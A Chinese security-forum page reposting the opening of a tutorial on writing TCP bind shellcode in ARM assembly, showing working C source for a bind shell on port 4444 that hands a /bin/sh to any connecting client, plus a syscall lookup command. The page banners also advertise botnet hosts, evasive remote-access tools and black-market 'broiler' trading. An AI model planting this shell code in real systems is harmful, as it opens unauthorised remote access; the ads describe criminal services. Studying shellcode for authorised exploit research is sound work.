开启邀请码注册中,禁止灌水!发现一次永久禁言

墨客安全网

 找回密码
 立即注册

墨客安全网-新手入门指南 常见问题及帮助 | 做任务赚墨币币 新人报道 | 悬赏问答| 墨币充值| 帖子举报

墨客安全网-论坛精华合集 墨客安全网 -精华合集 之 速成之路 原创精品 | 加入墨客Vip | Vip工具| Vip教程

墨客安全网-进阶技术学习区 软件/工具| 社工专区 | 入侵检测| 技术文章 动画教程 | 编程交流| 免杀更新 | 程序源码

[悬赏公告] - 严查灌水,打造一个无水论坛,从即日起.请大家互相监督,发现恶意灌水的,请发贴举报,核实后会给予5-10的墨币奖励。
[官方公告] 从今日起所有会员发布工具必须到审核板块进行审核,如有违反永久禁言处理!
 [招聘招聘]-招聘各方面给力版主,要求每日发帖不少于3贴,每天在线时间6个小时以上,具体福利和待遇联系TG客服或者在线管理员
[官方公告]1.发现网盘下载地址失效!可以发贴举报 审核证实后给予奖励10-20墨币。2.即日起!不管是谁发贴!都不能带QQ群 已及个人QQ。个人网站,发现后严格处理。[官方业务]-加入墨客安全网Vip,圆你日抓千鸡梦,各种精品教程,免杀远控,压力测试等你拿,期待各位会员的加入,即可享受众多福利!
【官方公告】论坛所有广告均为商业行为,需要交易的请尽量走担保程序,所有因广告产生的任何纠纷请私下解决【站外广告】大量收色刷!刷单肉鸡!带飞机肉鸡!寻内网横向技术!懂的来,小白勿扰!长期包养色刷,刷单,带飞机海外盘国内盘灰产肉鸡稳定鸡商
联系飞机:@seeok91
【官方业务】精品广告位招租,需要请联系官方TG客服【官方业务】精品广告位招租,需要请联系官方TG客服【官方业务】精品广告位招租,需要请联系官方TG客服
查看: 169|回复: 0

[黑客新闻] 看我如何用ARM汇编语言编写TCP Bind Shell

[复制链接]
  • TA的每日心情
    擦汗
    2018-6-7 07:22
  • 签到天数: 50 天

    连续签到: 2 天

    [LV.5]常住居民I

    13

    主题

    123

    回帖

    940

    积分

    UID
    11290
    威望
    253 (点)
    主题
    13 (帖)
    精华
    0 (帖)
    贡献
    14  (次)
    墨币
    289  (枚)
    活跃
    103  (点)
    担保币
    0  (枚)
    注册时间
    2017-12-12
    最后登录
    2018-6-7
    发表于 2018-1-14 19:09:24 | 显示全部楼层 |阅读模式
    一、前言

    在本教程中,我会向大家介绍如何编写不包含null字节、可以用于实际漏洞利用场景的TCP bind shellcode。我所提到的漏洞利用过程,指的是经过许可、合法的漏洞研究过程。如果大家对软件漏洞利用技术不是特别熟练,希望我能够引导大家将这种技术用在正当场合中。如果我们找到了某个软件漏洞(比如栈溢出漏洞),希望能够测试漏洞的可利用性,此时我们就需要切实可用的shellcode。不仅如此,我们还需要通过恰当的技术来使用shellcode,使其能够在部署了安全机制的环境中正常执行。只有这样,我们才能够演示漏洞的可利用性,也能演示恶意攻击者利用这种安全缺陷的具体方法。

    读完本教程后,你可以了解如何编写将shell绑定(bind)到本地端口的shellcode,也可以了解编写此类shellcode的常用手法。bind型shellcode与反弹型(reverse)shellcode差别不大,只有1~2个函数或者某些参数有所差异,其余大部分代码基本相同。编写bind或reverse shell远比创建简单的execve() shell复杂得多。如果你想从简单的开始学起,你可以先学一下如何使用汇编语言编写简单的execve() shell,然后再深入阅读本篇教程。如果你需要重温Arm汇编知识,你可以参考我之前写的ARM汇编基础系列教程,或者参考如下这张图:

    在正式开始前,我想提醒大家,我们正在编写ARM平台的shellcode,因此如果手头没有ARM环境,我们首先需要搭建相应的实验环境。你可以自己搭建一个(使用QEMU模拟Raspberry Pi),也可以直接下载我搭建的现成虚拟机(ARM LAB VM),一切准备就绪,可以开始工作了。

    二、背景知识

    首先介绍下什么是bind shell及其工作原理。使用bind shell时,我们可以在目标主机上打开某个通信端口,或者创建某个监听端(listener)。监听端接受我们发起的连接,返回能够访问目标系统的shell。

    使用reverse shell时,目标主机会反连至我们的主机。这种情况下,我们的主机上需要运行一个监听端,接受目标系统的反向连接。

    这两种shell各有其优点及缺点,需要根据目标环境来权衡使用。比如,通常情况下目标防火墙会阻拦入站连接,放行出站连接,此时如果你使用的是bind shell,虽然可以bind目标系统的某个端口,但由于防火墙阻拦了入站连接,结果就是你无法成功与之建连。因此,在某些场景中,我们可以优先选择使用reverse shell,如果防火墙配置不当,允许出站连接,那么我们的shell就能正常工作。如果你知道如何编写bind shell,你应该也知道如何编写reverse shell。一旦我们理解具体工作原理,只需要做几处改动,我们就可以将已有的汇编代码改成reverse shell代码。

    为了将bind shell改写成汇编语言,我们首先需要熟悉bind shell的工作流程:

    1、创建新的TCP socket。

    2、将该socket绑定到某个本地端口上。

    3、监听连接。

    4、接受连接。

    5、将STDIN、STDOUT以及STDERR重定向至新创建的客户端socket。

    6、启动shell。

    这个过程对应的C代码如下所示,后面我们会将该代码转化为相应的汇编代码:

    #include <stdio.h> #include <sys/types.h>  #include <sys/socket.h> #include <netinet/in.h> int host_sockid;    // socket file descriptor int client_sockid;  // client file descriptor struct sockaddr_in hostaddr;            // server aka listen addressint main() {     // Create new TCP socket     host_sockid = socket(PF_INET, SOCK_STREAM, 0);     // Initialize sockaddr struct to bind socket using it     hostaddr.sin_family = AF_INET;                  // server socket type address family = internet protocol address    hostaddr.sin_port = htons(4444);                // server port, converted to network byte order    hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);   // listen to any address, converted to network byte order    // Bind socket to IP/Port in sockaddr struct     bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));     // Listen for incoming connections     listen(host_sockid, 2);     // Accept incoming connection     client_sockid = accept(host_sockid, NULL, NULL);     // Duplicate file descriptors for STDIN, STDOUT and STDERR     dup2(client_sockid, 0);     dup2(client_sockid, 1);     dup2(client_sockid, 2);     // Execute /bin/sh     execve("/bin/sh", NULL, NULL);     close(host_sockid);     return 0; }三、系统函数及其参数

    第一步是确定所需的系统函数、函数参数以及相应的系统调用号(system call number)。观察上述C代码,我们可知需要使用这几个函数:socket、bind、listen、accept、dup2以及execve。我们可以使用如下命令找到这些函数的系统调用号:

    pi@raspberrypi:~/bindshell $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep socket#define __NR_socketcall             (__NR_SYSCALL_BASE+102)#define __NR_socket                 (__NR_SYSCALL_BASE+281)#define __NR_socketpair             (__NR_SYSCALL_BASE+288)#undef __NR_socketcall
    新人必看帖,如何快速赚取墨币,了解墨客安全网论坛版规,等等...( 点我查看

    如果你在论坛悬赏问答求助问题,并且已经从坛友或者管理的回复中解决了问题,请在帖子内点击(已解决)

    发帖求助前要善用 论坛搜索 功能,如果搜不到可以试试,论坛顶上的 百度站内搜索 - 纵横站内搜索 那里可能会有你要找的答案;

    如果发现论坛有灌水帖、下载地址失效帖、后门帖、广告帖、工具不能正常使用、都可以去 举报版块 发帖举报,核实给予退回墨币+额外的墨币奖励哦;
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    1、请认真发帖,禁止回复纯表情,纯数字等无意义的内容!帖子内容不要太简单!
    2、提倡文明上网,净化网络环境!抵制低俗不良违法有害信息。
    3、每个贴内连续回复请勿多余3贴,每个版面回复请勿多余10贴!
    4、如果你对主帖作者的帖子不屑一顾的话,请勿回帖。谢谢合作!

    关闭

    站长推荐上一条 /1 下一条